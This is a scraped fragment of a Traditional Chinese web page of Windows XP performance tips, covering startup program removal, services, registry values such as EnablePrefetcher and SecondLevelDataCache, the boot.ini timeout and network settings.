name="UnloadPrg"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;移除啟動時載入不需要的程式&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  如開機時太多程序要執行時會影響開機的速度，先檢查那些檔案會在開機時執行&lt;br /&gt;在〔開始〕→〔執行〕→鍵入〔msconfig〕→選〔啟動〕&lt;br /&gt;在啟動內的程式是代表開機時要執行的程式，如須暫時停止執行某須些程式&lt;br /&gt;便取消在〔□〕的〔X〕符號便可，如想恢復開機時執行此程式在〔□〕內加回〔X〕符號便可&lt;br /&gt;如希望徹底移除者在〔msconfig〕→〔啟動〕的左邊欄〔位置〕上便顯示引導程式執行的位置&lt;br /&gt;其中&lt;br /&gt;1. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;其中的〔HKLM〕代表登錄檔上的〔HKEY_LOCAL_MACHINE〕&lt;br /&gt;在〔Run〕的右邊視窗不需要的項目刪除&lt;br /&gt;2. HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;其中的〔HKCU〕代表登錄檔上的〔HKEY_CURRENT_USER〕&lt;br /&gt;在〔Run〕的右邊視窗不需要的項目刪除&lt;br /&gt;3. SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;則代表登錄檔的路徑如下&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg&lt;br /&gt;檢查在〔startupreg〕下的路徑，將不需要的項目刪除&lt;br /&gt;4. Common Startup&lt;br /&gt;代表在〔開始〕→〔所有程式〕→〔啟動〕的程式&lt;br /&gt;只要在取消在〔msconfig〕→〔啟動〕內〔□〕不選〔X〕符號便會代為將程式移離〔啟動〕&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;     &lt;hr width="650"&gt;&lt;a name="ClsService"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;停用不需要的服務&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔services.msc〕→&lt;br /&gt;檢查右邊窗口將不需要的服務在〔啟動類型〕內選〔停用〕&lt;br /&gt;→再在〔服務狀態〕中選〔停止〕 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;   &lt;hr width="650"&gt;&lt;a name="Prefetch"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快預讀能力改善開機速度&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  Windows XP 預讀設定可提高系統速度，加快開機速度。&lt;br /&gt;按下修改可進一步善用 CPU 的效率&lt;br /&gt;在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔SessionManager〕&lt;br /&gt;→〔MemoryManagement〕→在〔PrefetchParameters〕右邊視窗&lt;br /&gt;將〔EnablePrefetcher〕的數值資料如下更改&lt;br /&gt;如使用 PIII 800MHz 以上的可嘗試將數值資料更改為〔4〕或〔5〕&lt;br /&gt;否則建議保留數值資料為預設值即〔3〕&lt;br /&gt;更新 SP-1 後如運行不暢順者請將數值資料改回〔3〕&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBinary.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;EnablePrefetcher&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_DWORD&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;0x00000005(5)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="sblack" bgcolor="#d8d9df" height="20" width="516"&gt;....\HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;hr width="650"&gt;&lt;a name="L2Cache"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;善用 CPU 的 L2 Cache 加快整體效能&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔SessionManager〕&lt;br /&gt;→在〔MemoryManagement〕的右邊視窗&lt;br /&gt;將〔SecondLevelDataCache〕的數值資料更改為與 CPU L2 Cache 相同的十進制數值&lt;br /&gt;例：P4 1.6G 的 L2 Cache 為 256Kb，數值資料更改為十進制數值 256&lt;br /&gt;有關 L2 Cache 的數值並非如某些不負責任的網頁亂抄過來&lt;br /&gt;例如 P4 1.6G  的 L2 Cache 為 256Kb，但 P4 1.6GA  的 L2 Cache 為 512Kb&lt;br /&gt;如須取得有關 CPU 的 L2 Cache 的資料，可&lt;a href="http://www.hkgolden.com/hardware_price/default.asp" target="_blank"&gt;到此一看&lt;/a&gt; &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBinary.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;SecondLevelDataCache&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_DWORD&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;0x00000100(256)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="sblack" bgcolor="#d8d9df" height="20" width="516"&gt;....HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;    &lt;hr width="650"&gt;&lt;a name="LoadDefrag"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;在啟動電腦時執行 Defrag 程式&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SOFTWARE〕→〔Microsoft〕→〔Dfrg〕→〔BootOptimizeFunction 〕&lt;br /&gt;將字串值〔Enable〕設定為〔Y〕等於開啟而設定為〔N〕等於關閉&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;Enable&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;Y&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;hr width="650"&gt;&lt;a name="BootTime"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;減少多重啟動時等待時間&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  用 Notepad 打開在 C:\　目錄下的 boot.ini 檔案，將內容〔timeout〕&lt;br /&gt;的設定值由預設的 30 (秒) 改為要求等待的秒數數字，存檔&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;   &lt;hr width="650"&gt;&lt;a name="CDBurnOff"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;關閉 XP 內設的燒碟功能&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  如果不打算使用此功能可將其關閉，可加快使用 Nero 燒錄軟件的速度&lt;br /&gt;因 Windows XP 的燒錄系統由 Roxio 公司提供 (即與 Easy Cd Creator 同公司)&lt;br /&gt;在〔控制台〕→〔系統管理工具〕→〔服務〕→在右變窗口選&lt;br /&gt;〔IMAPI CD-Burning COM Service〕→〔啟動類型〕→選〔已停用〕 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;   &lt;hr width="650"&gt;&lt;a name="DialFast"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快撥號上網的撥號速度&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔控制台〕→〔電話和數據機選項〕→〔數據機〕→〔進階〕&lt;br /&gt;在〔外加初始化命令〕上填上〔s11=50〕&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;hr width="650"&gt;&lt;a name="AutoClsApp"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;關機時自動關閉停止回應程式&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_USERS〕→〔.DEFAULT〕→〔Control Panel〕&lt;br /&gt;→在〔Desktop〕右面窗口將〔AutoEndTasks〕的數值資料改為〔1〕&lt;br /&gt;登出或重新啟動&lt;br /&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;AutoEndTasks&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;1&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_USERS\.DEFAULT\Control Panel\Desktop&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;hr width="650"&gt;&lt;a name="BootLanWait"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;減少寬頻網卡在開機時等待的時間&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt; 如果是使用 ADSL 寬頻上網者可作下列調整&lt;br /&gt;在〔開始〕→〔連線到〕→〔顯示所有連線〕&lt;br /&gt;鼠標右點〔Local Area Connections〕→〔內容〕&lt;br /&gt;→點選〔Internet Protocol TCP/IP〕→按〔內容〕按鈕&lt;br /&gt;→在〔IP位址〕輸入〔192.168.0.1〕及&lt;br /&gt;→〔子網路遮罩〕輸入〔255.255.255.0〕 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;center&gt;&lt;hr size="2" width="650"&gt;&lt;/center&gt;  &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="640"&gt; &lt;tbody&gt;&lt;tr valign="top"&gt;&lt;td class="body" align="center" width="20%"&gt; &lt;a href="http://www.alan888.com/Discuz/index.php"&gt;&lt;img src="http://www.alan888.com/Discuz/images/AL8Logo.gif" alt="AL8 Forum" border="0" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td class="body" align="center" width="20%"&gt; &lt;a href="http://technicity.boxhk.com/VipCCB/ccb/index.cgi"&gt;&lt;img src="http://www.alan888.com/Discuz/images/Tmylogo.gif" alt="貴賓論壇之家" border="0" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td width="140"&gt;&lt;a class="AlexaSiteStatsWidget" href="http://www.alexa.com/data/details/main?url=http://www.alan888.com"&gt;&lt;img alt="Alexa Certified Site Stats for www.alan888.com" src="http://xsltcache.alexa.com/site_stats/gif/t/a/d3d3LmFsYW44ODguY29t/s.gif" border="0" /&gt;&lt;/a&gt;&lt;script type="text/javascript" language="JavaScript" src="http://xslt.alexa.com/site_stats/js/t/a?url=www.alan888.com"&gt;&lt;/script&gt;&lt;/td&gt; &lt;td class="body" align="center" width="20%"&gt; &lt;a 